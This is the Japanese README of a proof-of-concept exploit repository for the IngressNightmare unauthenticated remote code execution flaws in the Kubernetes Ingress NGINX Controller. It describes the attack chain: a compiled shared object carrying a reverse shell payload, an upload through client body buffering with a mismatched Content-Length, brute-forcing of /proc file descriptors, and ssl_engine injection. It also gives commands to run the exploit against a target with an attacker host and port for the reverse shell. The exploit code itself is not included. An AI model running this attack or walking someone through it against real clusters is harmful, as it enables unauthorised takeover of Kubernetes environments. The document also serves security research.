
Ingress RCE の PoC
このプロジェクトは、Kubernetes 向け Ingress NGINX Controller における重大な未認証リモートコード実行 (RCE) 脆弱性を標的としたエクスプロイトを提供します。これらの脆弱性は総称して IngressNightmare と呼ばれます。
元の研究では、Wiz チームは PoC や実用的なエクスプロイトを提供していなかったため、私たちは独自のものを開発し、コミュニティと共有することにしました。
Ingress NGINX Controller は Kubernetes 環境で広く使用されているコンポーネントであり、クラスター内のサービスへの外部アクセスを管理します。最近の脆弱性 (CVE-2025-1097、CVE-2025-1098、CVE-2025-24514、CVE-2025-1974) は、重大なセキュリティリスクを浮き彫りにしています。
エクスプロイトは次の主要な手順を実行します:
共有オブジェクトの生成 (注入された ssl_engine プロパティで使用):
リバースシェルペイロードを含む .so ライブラリ (evil_engine.so) をコンパイルします。
共有オブジェクトのアップロード:
コンパイルされた共有オブジェクトを ingress ポッドに送信し、リクエスト処理 (クライアントボディバッファ) を活用します。ここでのコツは、サーバーに異なる Content-Length を送信して接続を維持することです。
fd の総当たり: プロセス ID とファイルディスクリプタ (/proc/{pid}/fd/{fd}) を反復処理し、アップロードされたオブジェクトを参照する正しいディスクリプタを特定します。
使用方法
前提条件:
エクスプロイトを実行:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port)
例: python3 poc.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
admission webhook が別の名前空間にある場合があります。その場合は、末尾に kube-system、default、ingress-nginx などの名前空間を指定する必要があります。
<ingress_url>: ターゲット Ingress URL (公開)<admission_webhook_url>: Admission webhook URL (内部 webhook)[attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port): リバースシェル用の自分のホストとポート免責事項
このエクスプロイトは、教育および研究目的のみで提供されています。明示的な許可なくこのツールをターゲットに対して不正に使用することは禁止されています。Hakai Security および QuimeraX は、このツールの誤用について一切の責任を負いません。